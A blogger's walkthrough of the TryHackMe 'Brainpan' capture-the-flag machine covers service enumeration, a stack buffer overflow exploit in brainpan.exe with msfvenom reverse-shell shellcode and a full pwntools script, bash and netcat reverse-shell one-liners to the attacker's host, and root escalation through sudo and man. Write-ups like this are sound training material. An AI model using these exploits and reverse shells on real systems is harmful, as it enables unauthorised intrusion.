u915

Daniel Cano MerchΓ‘n - Hacking & Tech

Writeup Tryhackme Brainpan

Writeup about the Tryhackme machine Brainpan.

0 - Basic info

Unknown machine, black box

1 - Reconnaissance and enumeration

This time the machine answers to ping, ttl near to 64 so it is a Linux machine.

ping -c 1 10.10πŸ˜„     
PING 10.10πŸ˜„ (10.10πŸ˜„) 56(84) bytes of data.
64 bytes from 10.10πŸ˜„: icmp_seq=1 ttl=63 time=35.7 ms

--- 10.10πŸ˜„ ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 35.650/35.650/35.650/0.000 ms

Quick scan with nmap, I have to reduce the mode to T4 normally I use T5 but I could not find any open port.

Nmap quick scan

nmap -p- --open -T4 -v 10.10πŸ˜„ -n -oG quick.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 18:51 CEST
Initiating Ping Scan at 18:51
Scanning 10.10πŸ˜„ [2 ports]
Completed Ping Scan at 18:51, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 18:51
Scanning 10.10πŸ˜„ [65535 ports]
Discovered open port 9999/tcp on 10.10πŸ˜„
Connect Scan Timing: About 44.56% done; ETC: 18:52 (0:00:39 remaining)
Discovered open port 10000/tcp on 10.10πŸ˜„
Completed Connect Scan at 18:52, 76.06s elapsed (65535 total ports)
Nmap scan report for 10.10πŸ˜„
Host is up (0.11s latency).
Not shown: 47452 closed ports, 18081 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 76.25 seconds


Nmap deep scan

nmap -sC -sV -Pn -p$(cat quick.txt | grep -oP '\d{2,5}/open' |  tr '/open' ' '| xargs | tr ' ' ',') 10.10πŸ˜„ -oN full.txt       
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 18:55 CEST
Nmap scan report for 10.10πŸ˜„
Host is up (0.053s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=7/5%Time=60E339A0%P=x86_64-pc-linux-gnu%r(NUL
SF:L,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\
SF:x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x
SF:20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x2
SF:0\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x2
SF:0\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x2
SF:0_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x2
SF:0\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x2
SF:0_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x2
SF:0_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x2
SF:0THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.80 seconds

So the 2 ports are: something custom on port 9999 and SimpleHTTPServer on the 10000 port

Basic enumeration with nc reveals the custom service, brainpan asking for a password:

nc 10.10πŸ˜„ 9999 
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> ok
                          ACCESS DENIED

Fuzzing the simplehttpserver:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10πŸ˜„:10000                                                                                                                    1 β¨―
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10πŸ˜„:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/05 19:01:24 Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 36603 / 220561 (16.60%)                       [ERROR] 2021/07/05 19:07:23 [!] Get "http://10.10πŸ˜„:10000/3994": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 59648 / 220561 (27.04%)                       ^C
[!] Keyboard interrupt detected, terminating.
                                                         
===============================================================
2021/07/05 19:11:04 Finished
===============================================================

I got a magic guessing moment

alt text

After that I discovered that it is listed too, feelsdbadman.

alt text

2 - Vulnerability Identification

So let’s study the .exe file, a basic test with strings show me this interesting string…

AAAA
AAAA
AAAA
AAAA
[^_]
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

Naturally I tested the string that looks like a password and I got this:

nc 10.10πŸ˜„ 9999                                                                                     
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> shitstorm
                          ACCESS GRANTED

Access granted and nothing more on the paper…

I was thinking about the ttl 63 that on paper is a Linux machine but.. I found a .exe file. Is there a wine behind ?

Also I tried to crash the app using a pattern of 5000 chars, the server crashed and then started again:

nc 10.10πŸ˜„ 9999
(UNKNOWN) [10.10πŸ˜„] 9999 (?) : Connection refused

So the bufferoverflow idea gains force but I don’t know how to test it because of the mix of linux and .exe.

Anyway started the windows machine to test the bof, because I don’t have a better idea and I was overthinking a little.

3 - Exploit development

Started the machine

xfreerdp /u:admin /p:password /cert:ignore /v:10.10πŸ˜„ /workarea

Like the past bufferoverflows I started finding how many chars are required to crash the server:

#!/bin/python3

from pwn import *

HOST = "10.10πŸ˜„"
PORT = "9999"
LIMIT = 60
CHARS_FUZZ = 50
for x in range (1,LIMIT):
    r = remote(HOST,PORT)
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print(r.recvline(timeout=1))
    print("[+] SENDING"+str(CHARS_FUZZ*x)+" CHARS, COUNTER:"+str(x))
    r.send("A"*CHARS_FUZZ*x+"\r\n")
    if (r.recvline(timeout=4))==b'':
        print("[!] KO")
        r.clean()
        r.close()
        break
    r.clean()

The server crashes between 500 a 550 chars. This script is not optimized at all but get the work done.

Anyway creating the pattern with 550 chars to trigger the bof with mona attached:

msf-pattern_create -l 550                                                                                    1 β¨―
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A

To do this task I used nc.

The EIP value is 35724134. The exact offset is 524 chars:

msf-pattern_offset -l 550 -q 35724134
[*] Exact match at offset 524

Like always, I setup a working dir for mona and check for the jmp instruction definiton

Mona working directory:

!mona config -set workingfolder C:\Users\admin\Desktop\%p
/usr/bin/msf-nasm_shell 
nasm > jmp esp
00000000  FFE4              jmp esp

Looking for a jmp esp instruction without protection:

!mona find -s "\xff\xe4"
0x311712f3 : "\xff\xe4" |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\brainpan.exe)

This one looks promising 0x311712f3

To little endian:

0x311712f3 -> \xf3\x12\x17\x31

To generate the bytearray:

!mona bytearray -cpb \x00

The script used to pass the badchar array to the .exe

#!/bin/python3

from pwn import *

HOST = "10.10πŸ˜„"
PORT = "9999"
offset = 524
fuzz = "A"*offset
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

print("[+] SENDING")
r = remote(HOST,PORT)
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
r.send("A"*offset+"BBBB"+str(badchars)+"\r\n")
if (r.recvline(timeout=4))==b'':
    print("[!] KO")
    r.clean()
    r.close()
r.clean()
r.close()

Finally comparing with mona if there are more badchars:

!mona compare -a 0022F930 -f C:\Users\admin\Desktop\brainpan\bytearray.bin

I was lucky this time. No more badchars.

Let’s continue the exploit development with the msfvenom payload:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10πŸ˜„ LPORT=4433 -f c -v shellcode -b '\x00' EXITFUNC=thread 
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char shellcode[] = 
"\xdb\xc9\xba\x5c\x88\x94\x07\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x52\x31\x55\x17\x83\xc5\x04\x03\x09\x9b\x76\xf2\x4d\x73\xf4"
"\xfd\xad\x84\x99\x74\x48\xb5\x99\xe3\x19\xe6\x29\x67\x4f\x0b"
"\xc1\x25\x7b\x98\xa7\xe1\x8c\x29\x0d\xd4\xa3\xaa\x3e\x24\xa2"
"\x28\x3d\x79\x04\x10\x8e\x8c\x45\x55\xf3\x7d\x17\x0e\x7f\xd3"
"\x87\x3b\x35\xe8\x2c\x77\xdb\x68\xd1\xc0\xda\x59\x44\x5a\x85"
"\x79\x67\x8f\xbd\x33\x7f\xcc\xf8\x8a\xf4\x26\x76\x0d\xdc\x76"
"\x77\xa2\x21\xb7\x8a\xba\x66\x70\x75\xc9\x9e\x82\x08\xca\x65"
"\xf8\xd6\x5f\x7d\x5a\x9c\xf8\x59\x5a\x71\x9e\x2a\x50\x3e\xd4"
"\x74\x75\xc1\x39\x0f\x81\x4a\xbc\xdf\x03\x08\x9b\xfb\x48\xca"
"\x82\x5a\x35\xbd\xbb\xbc\x96\x62\x1e\xb7\x3b\x76\x13\x9a\x53"
"\xbb\x1e\x24\xa4\xd3\x29\x57\x96\x7c\x82\xff\x9a\xf5\x0c\xf8"
"\xdd\x2f\xe8\x96\x23\xd0\x09\xbf\xe7\x84\x59\xd7\xce\xa4\x31"
"\x27\xee\x70\x95\x77\x40\x2b\x56\x27\x20\x9b\x3e\x2d\xaf\xc4"
"\x5f\x4e\x65\x6d\xf5\xb5\xee\x98\x03\xb1\x9a\xf4\x11\xb9\x73"
"\x54\x9f\x5f\x19\x46\xc9\xc8\xb6\xff\x50\x82\x27\xff\x4e\xef"
"\x68\x8b\x7c\x10\x26\x7c\x08\x02\xdf\x8c\x47\x78\x76\x92\x7d"
"\x14\x14\x01\x1a\xe4\x53\x3a\xb5\xb3\x34\x8c\xcc\x51\xa9\xb7"
"\x66\x47\x30\x21\x40\xc3\xef\x92\x4f\xca\x62\xae\x6b\xdc\xba"
"\x2f\x30\x88\x12\x66\xee\x66\xd5\xd0\x40\xd0\x8f\x8f\x0a\xb4"
"\x56\xfc\x8c\xc2\x56\x29\x7b\x2a\xe6\x84\x3a\x55\xc7\x40\xcb"
"\x2e\x35\xf1\x34\xe5\xfd\x11\xd7\x2f\x08\xba\x4e\xba\xb1\xa7"
"\x70\x11\xf5\xd1\xf2\x93\x86\x25\xea\xd6\x83\x62\xac\x0b\xfe"
"\xfb\x59\x2b\xad\xfc\x4b";

Python script

#!/bin/python3

from pwn import *

HOST = "10.10πŸ˜„"
PORT = "9999"
offset = 524
fuzz = "A"*offset
shellcode = ("\xdb\xc9\xba\x5c\x88\x94\x07\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x52\x31\x55\x17\x83\xc5\x04\x03\x09\x9b\x76\xf2\x4d\x73\xf4"
"\xfd\xad\x84\x99\x74\x48\xb5\x99\xe3\x19\xe6\x29\x67\x4f\x0b"
"\xc1\x25\x7b\x98\xa7\xe1\x8c\x29\x0d\xd4\xa3\xaa\x3e\x24\xa2"
"\x28\x3d\x79\x04\x10\x8e\x8c\x45\x55\xf3\x7d\x17\x0e\x7f\xd3"
"\x87\x3b\x35\xe8\x2c\x77\xdb\x68\xd1\xc0\xda\x59\x44\x5a\x85"
"\x79\x67\x8f\xbd\x33\x7f\xcc\xf8\x8a\xf4\x26\x76\x0d\xdc\x76"
"\x77\xa2\x21\xb7\x8a\xba\x66\x70\x75\xc9\x9e\x82\x08\xca\x65"
"\xf8\xd6\x5f\x7d\x5a\x9c\xf8\x59\x5a\x71\x9e\x2a\x50\x3e\xd4"
"\x74\x75\xc1\x39\x0f\x81\x4a\xbc\xdf\x03\x08\x9b\xfb\x48\xca"
"\x82\x5a\x35\xbd\xbb\xbc\x96\x62\x1e\xb7\x3b\x76\x13\x9a\x53"
"\xbb\x1e\x24\xa4\xd3\x29\x57\x96\x7c\x82\xff\x9a\xf5\x0c\xf8"
"\xdd\x2f\xe8\x96\x23\xd0\x09\xbf\xe7\x84\x59\xd7\xce\xa4\x31"
"\x27\xee\x70\x95\x77\x40\x2b\x56\x27\x20\x9b\x3e\x2d\xaf\xc4"
"\x5f\x4e\x65\x6d\xf5\xb5\xee\x98\x03\xb1\x9a\xf4\x11\xb9\x73"
"\x54\x9f\x5f\x19\x46\xc9\xc8\xb6\xff\x50\x82\x27\xff\x4e\xef"
"\x68\x8b\x7c\x10\x26\x7c\x08\x02\xdf\x8c\x47\x78\x76\x92\x7d"
"\x14\x14\x01\x1a\xe4\x53\x3a\xb5\xb3\x34\x8c\xcc\x51\xa9\xb7"
"\x66\x47\x30\x21\x40\xc3\xef\x92\x4f\xca\x62\xae\x6b\xdc\xba"
"\x2f\x30\x88\x12\x66\xee\x66\xd5\xd0\x40\xd0\x8f\x8f\x0a\xb4"
"\x56\xfc\x8c\xc2\x56\x29\x7b\x2a\xe6\x84\x3a\x55\xc7\x40\xcb"
"\x2e\x35\xf1\x34\xe5\xfd\x11\xd7\x2f\x08\xba\x4e\xba\xb1\xa7"
"\x70\x11\xf5\xd1\xf2\x93\x86\x25\xea\xd6\x83\x62\xac\x0b\xfe"
"\xfb\x59\x2b\xad\xfc\x4b")

esp = "\xf3\x12\x17\x31"
nop = "\x90"*20

print("[+] SENDING")
r = remote(HOST,PORT)
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
print(r.recvline(timeout=1))
r.send("A"*offset+esp+nop+str(shellcode)+"\r\n")
if (r.recvline(timeout=4))==b'':
    print("[!] KO")
    r.clean()
    r.close()
r.clean()
r.close()

Listener

nc -lvp 4433                                                                                                 1 β¨―
listening on [any] 4433 ...
10.10πŸ˜„: inverse host lookup failed: Unknown host
connect to [10.10πŸ˜„] from (UNKNOWN) [10.10πŸ˜„] 49251
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop>

Working ! So let’s try on the real machine !

nc -lvp 4433                                                                                                 1 β¨―
listening on [any] 4433 ...
10.10πŸ˜„: inverse host lookup failed: Unknown host
connect to [10.10πŸ˜„] from (UNKNOWN) [10.10πŸ˜„] 48885
CMD Version 1.4.1

Z:\home\puck>

Great, I got a reverse shell, but something is strange here: CMD Version 1.4.1

Let’s go to enumerate basic things. Simple commands like whoami does not work.

Directory of Z:\home\puck

  3/6/2013   3:23 PM  <DIR>         .
  3/4/2013  11:49 AM  <DIR>         ..
  3/6/2013   3:23 PM           513  checksrv.sh
  3/4/2013   2:45 PM  <DIR>         web
       1 file                       513 bytes
       3 directories     13,827,870,720 bytes free

Interesting file inside checksrv.sh

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
	pid=`ps aux | grep brainpan.exe | grep -v grep`
	if [[ ! -z $pid ]]; then
		kill -9 $pid
		killall wineserver
		killall winedevice.exe
	fi
	/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
	pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
	if [[ ! -z $pid ]]; then
		kill -9 $pid
	fi
	cd /home/puck/web
	/usr/bin/python -m SimpleHTTPServer 10000
fi

A bash script ! so my theory was right and the machine was Linux running a .exe with wine

Enumerating the web server files I discovered a new one:

http://10.10πŸ˜„:10000/soss-infographic-final.png

Safe conding ? cool

3 users:

  3/4/2013   2:38 PM  <DIR>         anansi
  3/6/2013   3:23 PM  <DIR>         puck
  3/4/2013   2:43 PM  <DIR>         reynard

Access denied. on anasi and reynard.

Trying to escape from this shell I thought on 2 posible paths. One uploading a web reverse shell to the web folder or modifiying the file checksrv.sh to append a reverse shell, imagine if it is running as root.

echo "bash -i >& /dev/tcp/10.10πŸ˜„/8080 0>&1" >> checksrv.sh

But the access is denied… So I can not modify the .sh

Finally scaped from the ugly cmd shell with:

/bin/sh

netcat is installed so let’s make another reverse shell to live longer with a linux shell

nc
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
	  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
	  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
	  [-x proxy_address[:port]] [destination] [port]

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10πŸ˜„ 8080 >/tmp/f

Worked, so I got a reverse shell with /bin/sh

nc -lvp 8080                             
listening on [any] 8080 ...
10.10πŸ˜„: inverse host lookup failed: Unknown host
connect to [10.10πŸ˜„] from (UNKNOWN) [10.10πŸ˜„] 57939
/bin/sh: 0: can't access tty; job control turned off
$ 

Upgrade the shell with python and generate a full tty terminal

$ python -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/$

stty raw -echo
fg
reset
xterm

puck@brainpan:~$ export TERM=xterm
puck@brainpan:~$ export SHELL=bash

The .sh is running as puck so the script checksrv.sh was not worth

* * * * * /home/puck/checksrv.sh

Checking sudo permissions:

puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

Really cool, sudo without password on a strange binary, that home was forbidden…

puck@brainpan:~$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

man is a gtfobin

https://gtfobins.github.io/gtfobins/man/

!/bin/sh

# whoami
root

Rooted !

There is no flag, but there is this awesome b.txt file 😎

# cat b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 



# whoami && hostname
root
brainpan

I really liked this machine, the idea of using wine on the box was original, fresh and also strange. You have to questionate yourself about what is behind the wall.


Thanks for reading!